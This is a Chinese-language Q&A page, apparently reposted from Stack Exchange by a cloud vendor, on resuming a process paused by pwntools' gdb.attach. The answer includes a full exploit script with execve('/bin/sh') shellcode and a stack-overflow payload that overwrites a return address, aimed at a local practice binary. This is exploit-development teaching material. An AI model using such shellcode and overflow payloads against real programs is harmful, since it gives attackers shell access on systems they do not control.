You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在Python交互模式下恢复运行关联二进制调试的程序?

解决方法

1. 让GDB attach后自动恢复进程

你的脚本里gdb.attach(r)会默认暂停目标进程,导致后续发送payload后进程无法继续执行,最终r.interactive()进入交互模式后卡住。可以修改attach命令,添加自动继续进程的GDB脚本:

gdb.attach(r, gdbscript='continue')

这样GDB连接进程后会自动让它继续运行,无需手动在GDB窗口输入命令。

2. 手动恢复进程的操作

如果已经运行脚本进入暂停状态:

  • 切换到GDB所在的tmux窗口,输入c(全称continue)并回车,让目标进程继续执行。
  • 切回运行Python脚本的终端,此时r.interactive()的交互模式会响应,直接输入命令(比如ls)或按回车就能和shell交互。

3. 优化脚本(可选)

原来的time.sleep(3)是留时间给你手动操作GDB,添加自动continue后可以去掉这个延时,让脚本自动完成流程:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

r = process("./shellcode")
gdb.attach(r, gdbscript='continue')

shell = b"\xEB\x14\x5F\x48\x89\xFE\x48\x83\xC6\x08\x48\x89\xF2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05\xE8\xE7\xFF\xFF\xFF/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00"
r.recvuntil(b"What is your name?")

payload = shell.ljust(1016, b"A") + p64(0x601080)
r.send(payload)
r.interactive()

内容的提问来源于stack exchange,提问作者kauko

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.13 14:15:37